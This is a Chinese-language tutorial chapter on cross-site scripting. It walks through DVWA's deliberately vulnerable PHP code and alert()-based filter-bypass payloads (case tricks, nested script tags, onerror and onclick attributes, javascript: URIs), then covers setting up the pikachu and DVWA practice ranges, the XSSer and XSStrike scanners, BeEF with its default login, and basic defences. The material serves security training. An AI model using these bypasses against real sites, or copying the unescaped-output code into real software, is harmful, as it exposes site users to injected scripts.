第二章 XSS
1 XSS(Cross Site Script)基础和分类
恶意攻击者利用web页面的漏洞,插入一些恶意代码,当用户访问页面时,代码就会执行,即为达到攻击目的。
1.1 反射型XSS
-
比如在如下网页源码中
<?php //1. header ("X-XSS-Protection: 0"); //2. // Is there any input? //3. if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { //4. // Feedback for end user //5. echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; //6. } //7. ?> //8.
第6行将用户输入**(可能是用户名,也可能是留言)**未经处理直接输出显示,如果用户输入<script>alert('XSS');</script>
,则会发生
-
当然源码可能将
<script>
标签 过滤$name = str_replace( '<script>', '', $_GET[ 'name' ] );
那么在输入时使用大写
<Script>
或者复写<scri<script>pt>
。 -
也可能将大小写都屏蔽了:
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
那么就要换一个标签,比如:
<img src="" onerror="alert('XSS')">
<audio src="" onerror="alert('XSS')">
<video src="" onerror="alert('XSS')">
-
也可能使用了htmlspecialchars函数来转义字符
$name = htmlspecialchars( $_GET[ 'name' ] );
那么就需要构造脚本来注入
a' οnclick='alert(1)'
a' οnfοcus='alert(1)'
javascript:alert(1)
或者转义,如上一条可转义为: javascript:alert(1)
1.2 存储型XSS
-
比如在如下网页源码中
<?php //1. if( isset( $_POST[ 'btnSign' ] ) ) { //2. // Get input //3. $message = trim( $_POST[ 'mtxMessage' ] ); //4. $name = trim( $_POST[ 'txtName' ] ); //5. // Sanitize message input //6. $message = stripslashes( $message ); //7. $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); //8. // Sanitize name input //9. $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); //10. // Update database //11. $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; //12. $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //13. //mysql_close(); //14. } //15. ?> //16.
第8行对用户输入未经处理就显示出来,如果用户输入<script>alert('XSS');</script>
,则会产生与上文讲到的反射型XSS同样的结果。
- 同样的,可能将
<script>
标签过滤了、将大小写屏蔽、转义字符等。
2 pikachu和DVWA靶场搭建
2.1 pikachu
pikachu 是一款开源的练习 web 漏洞的综合靶场,用 PHP 代码 编写而成。需要 PHP 和 Nginx(中间件)环境运行。
2.1.1 下载
由于近来GitHub访问速度屡刷新低,经常无法打开,所以我给出国内可以快速访问的地址:
2.1.2 安装
最简单的方法,就是先安装phpStudy,然后把pikachu解压放在phpstudy安装目录的WWW路径下,安装好MySql和Nginx,新建网站指定到pikachu目录即可。
-
安装phpstudy
-
新建网站
-
修改pikachu配置文件,用于初始化数据库
修改配置文件
WWW\pikachu\WWW\inc\config.inc.php
根据注解修改即可打开网址+端口号,单击安装/初始化,等待完毕后即可使用。
-
XSS后台
需要先将配置文件修改后才可使用
WWW\pikachu\pkxss\inc\config.inc.php
2.2 DVWA
DVWA 是一款开源的练习 web 漏洞的靶场工具,用 PHP 代码编 写而成。需要 PHP 和 Apache 环境运行。
2.2.1 下载
2.2.2 安装
把DVWA解压后放在phpstudy的WWW路径下,后续操作与pikachu安装相同,注意这里配置文件需要自己先修改后缀名。
默认用户名密码为admin/password
2.3 其他XSS平台
https://github.com/78778443/xssplatform
Kali中命令行输入beef-xss
,默认用户名密码是beef/123456
3 XSS检测和利用
3.1 XSSER
Kali中命令行输入xsser
即可安装使用
xsser -u url --cookie=COOKIE
xsser -De "google" -d "search.php?q="
3.2 XSSTRIKE
git clone https://github.com/s0md3v/XSStrike
检测命令:
#Get类型
python3 xsstrike.py -u 'url'
#POST类型
python3 xsstrike.py -u 'url' --data 'name=1'
4 XSS防御
其根本就是通过正则表达式等来识别并过滤XSS脚本
-
入口:正则识别关键字并处理,替换成别的字符
-
出口:htmlspecialchars函数实体化字符
-
mod_security需要配合Apache使用